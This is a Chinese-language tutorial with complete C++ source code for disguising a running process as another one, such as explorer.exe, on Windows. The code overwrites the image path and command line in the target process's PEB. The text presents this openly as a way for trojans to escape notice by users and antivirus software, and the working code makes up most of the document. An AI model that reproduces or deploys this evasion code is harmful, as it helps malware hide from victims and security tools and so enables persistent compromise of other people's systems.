一、进程伪装
对于木马病毒来说,最简单的进程伪装方式就是修改进程名称。例如,将本地文件名称修改为svchost.exe、services.exe等系统进程,从而不被用户和杀软发现。接下来,将要介绍的进程伪装可以修改任意指定进程的信息,即该进程信息在系统中显示的时另一个进程的信息。这样,指定进程与伪装进程的信息相同,但实际上,它还执行原来的进程的操作,这就达到了伪装的目的。
基础知识:1、什么时PEB(Process Envirorment Block Structure)
英文翻译过来就是进程环境信息块,这里包含了一写进程的信息。
二、API
1、NtQueryInformationProcess函数
获取指定进程的信息
注意:此函数没有关联的导入库,所以必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dlll中获取该函数地址
2、PROCESS_BASIC_INFORMATION结构体
进程伪装的原理不是很复杂,就是修改指定进程环境快中的进程路径以及命令行信息。所以,实现的关键在于进程环境块的获取。由上述的函数可知,可以通过ntdll.dll中的导出函数NtQueryInformationProcess来获取指定进程的PEB地址。获取目标进程的PEB之后,并不能直接根据指针来读写内存数据,因为该程序进程可能与目标进程并不在同一个进程内。由于进程空间独立性的缘故,所以需要通过调用WIN32 API函数ReadProcessMemory和WriteProcessMemory来读写目标进程内存。
具体的实现流程如下所示:
首先,根据进程的PID号打开指定的进程,并获取进程的句柄。
然后,从ntdll.dll中获取NtQueryInformationProcess函数的导出地址,因为该函数没有关联导入库,所以只能动态获取。
接着,使用NtQueryInformationProcess函数获取指定的进程基本信息PROCESS_BASIC_INFORMATION,并从中获取指定进程的PEB。
最后,就可以根据进程环境块中的ProcessParameters来获取指定进程的RTL_USER_PROCESS_PARAMETERS信息,这是因为PEB的路径信息、命令行信息存储在这个结构体中。调用ReadProcessMemory和WriteProcessMemory函数修改PEB中的路径信息、命令行信息等,从而实现进程伪装。
四、代码实现
DisguiseProcess.h
#ifndef _DISGUISE_PROCESS_H_
#define _DISGUISE_PROCESS_H_
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include <tchar.h>
#include <SDKDDKVer.h>
typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd);
#endif
DisguiseProcess.cpp
#include "DisguiseProcess.h"
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{
// 打开进程获取句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
{
ShowError("GetProcAddress");
return FALSE;
}
// 获取指定进程的基本信息
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
ShowError("NtQueryInformationProcess");
return FALSE;
}
/*
注意在读写其他进程的时候,注意要使用ReadProcessMemory/WriteProcessMemory进行操作,
每个指针指向的内容都需要获取,因为指针只能指向本进程的地址空间,必须要读取到本进程空间。
要不然一直提示位置访问错误!
*/
// 获取指定进程进本信息结构中的PebBaseAddress
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中
ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中
usCmdLen = 2 + 2 * wcslen(lpwszCmd);
WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中
usPathLen = 2 + 2 * wcslen(lpwszPath);
WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
return TRUE;
}
DisguiseProcess_Test.cpp
#include "DisguiseProcess.h"
int _tmain(int argc, _TCHAR* argv[])
{
if (FALSE == DisguiseProcess(9968, L"C:\\Windows\\explorer.exe", L"explorer.exe"))
{
printf("Dsisguise Process Error.\n");
}
printf("Dsisguise Process OK.\n");
system("pause");
return 0;
}
五、小结
注意:1、一定要区分指针指向的是指定进程的空间还是本程序的空间,若指向其他进程空间,则一律使用ReadProcessMemory和WriteProcessMemory函数进行数据读写。
2、PEB修改程序在64位和32位系统中,分别编译为64位程序和32程序
一只小the bug